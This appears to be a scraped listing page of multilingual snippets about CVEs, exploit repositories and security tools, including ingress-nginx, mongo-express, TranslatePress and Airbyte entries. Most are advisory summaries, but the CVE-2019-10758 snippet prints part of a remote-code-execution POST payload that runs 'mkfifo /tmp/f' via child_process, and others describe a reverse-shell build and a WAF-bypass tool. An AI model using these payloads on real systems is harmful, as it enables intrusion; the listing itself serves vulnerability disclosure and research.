CVE-2025-1974

README बातें सस्ती हैं, बस कोड देखो। विस्तृत विवरण https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities पर पाया जा सकता है। उपयोग 1. shell.c में IP बदलें। 2. जाँच करें कि डॉकर उपलब्ध है और make shell.so चलाएँ। हमें इसे alpine में बनाना होगा ताकि यह nginx-ingress-controller में काम कर...

nowafpls

nowafpls جدول المحتويات nowafpls حدود WAF الموثقة تثبيت nowafpls استخدام nowafpls المؤلفون الترخيص nowafpls معظم جدران حماية تطبيقات الويب WAFs لديها حدود لكمية البيانات التي يمكنها معالجتها عند إرسال نص الطلب. هذا يعني أنه بالنسبة لطلبات HTTP التي تحتوي على نص طلب أي POST و PUT و PATCH وما إلى...

CVE-2025-0994

CVE-2025-0994 Come funziona questo metodo di rilevamento? Questo template di Nuclei estrae la versione memorizzata nel corpo HTML e, in base alla versione, possiamo determinare se l'istanza è vulnerabile a CVE-2025-0994 o meno. Versione patchata: 15.8.9 Come eseguo questo script? 1. Scarica Nucle...

CVE-2026-42931

A flaw was found in Gitea. An authenticated attacker can trigger a denial of service by sending a large HTTP request to the NPM package tag API endpoint. The server attempts to read the entire request body into memory without a size limit, leading to an Out-of-Memory OOM error and crashing the...

CVE-2023-48104

CVE-2023-48104 HTML-Injection im Alinto/SOGo Web Client Anbieter des Produkts Alinto Schwachstellentyp HTML-Injection Betroffene Versionen SOGo Web Mail https://github.com/Alinto/sogo/commit/7481ccf37087c3f456d7e5a844da01d0f8883098 Entdecker Spiridonov Ivan/E1tex PoC Nur zu Demonstrationszwecken...

log-add-http-post-bodies

Aggiungi estratto del corpo POST al log HTTP Questo script consente agli analisti di dare un'occhiata a ciò che viene inviato nei corpi delle richieste POST HTTP. Fornisce questa funzionalità semplicemente estendendo il log HTTP. Installazione :: zkg refresh zkg install...

CVE-2019-10758

CVE-2019-10758 Execução remota de código no mongo-express, código do shell reverso como abaixo: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2026-47860 Unbounded decompression of attacker-supplied compressed message bodies

An attacker who can publish to a queue consumed by an application that has enabled message decompression can crash the consumer JVM with a single 1 MB message. Spring AMQP 4.1.0 Spring AMQP 4.0.0 - 4.0.4 Spring AMQP 3.2.0 - 3.2.12 Spring AMQP 2.4.18 and earlier...

CVE-2026-47860

CVE-2026-47860 affects Spring AMQP and stems from unbounded decompression of attacker-supplied compressed message bodies. An attacker with the ability to publish to a queue consumed by an application with message decompression enabled can crash the consumer JVM using a single message of approxima...

CVE-2017-14980.RCE

CVE-2017-14980 L'exploit ha come bersaglio Sync Breeze Enterprise in esecuzione su Windows 10 x86, build: 16299 , colpendo la versione 10.0.28 , dove un attaccante non autenticato può eseguire un buffer overflow tramite il corpo di una richiesta HTTP , causando esecuzione di codice arbitrario...

uac

Unix-like Artifacts Collector UAC About • Documentation • Main Features • Supported Operating Systems • Usage • Contributing • Support • License 🔎 About UAC UAC Unix-like Artifacts Collector is a powerful and extensible incident response tool designed for forensic investigators, security analysts...

CVE-2026-80049

Airbyte Platform through 2.0.0 suffers a cross-workspace authorization bypass. The root cause is that AuthorizationServerHandler extracts a caller-supplied workspaceId from the raw JSON request body and sets it in the X-Airbyte-Workspace-Id header, which AuthenticationHeaderResolver.resolveWorksp...

CVE-2026-80049 Airbyte Platform through 2.0.0 Cross-Workspace Authorization Bypass via Caller-Supplied workspaceId

Airbyte Platform resolves the workspace used for its authorization decision from a field the caller supplies. AuthorizationServerHandler copies recognised identifiers out of the raw JSON request body into X-Airbyte- headers, and AuthenticationHeaderResolver.resolveWorkspace consults...

CVE-2026-79788

Dradis Community Edition versions 5.1.0 through 5.2.0 are affected by a Server-Side Request Forgery (SSRF) vulnerability (CVSS 7.1, HIGH). The root cause is that ProvidersController and AgentsController gate their admin_required authorization on defined?(Dradis::Pro), a constant never defined in ...

EUVD-2026-37012

gRPC Erlang package has unbounded request body accumulation in readfullbody/3...

EUVD-2026-37013

gRPC Erlang package's path bindings are overridable by query string and request body...

CVE-2026-18512

The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Approved Comment Body Rendered in Translation Editor Strings Dropdown in all versions up to, and including, 3.2.6 due to insufficient input sanitization and...

CVE-2026-18512

The TranslatePress WordPress plugin (multilingual/AI translation) is vulnerable to Stored XSS in all versions up to and including 3.2.6 . The root cause is insufficient input sanitization and output escaping of approved comment body content rendered in the Translation Editor Strings Dropdown comp...

CVE-2026-18512 TranslatePress <= 3.2.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Approved Comment Body in Translation Editor

The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Approved Comment Body Rendered in Translation Editor Strings Dropdown in all versions up to, and including, 3.2.6 due to insufficient input sanitization and...

CVE-2022-42096

Backdrop CMS versione 1.23.0 Spiegazione della vulnerabilità: È stato scoperto che Backdrop CMS versione 1.23.0 contiene una vulnerabilità di cross-site scripting XSS memorizzato tramite il contenuto Post. Vettori d'attacco: L'attaccante deve pubblicare qualcosa sul "Post content" e inserire il...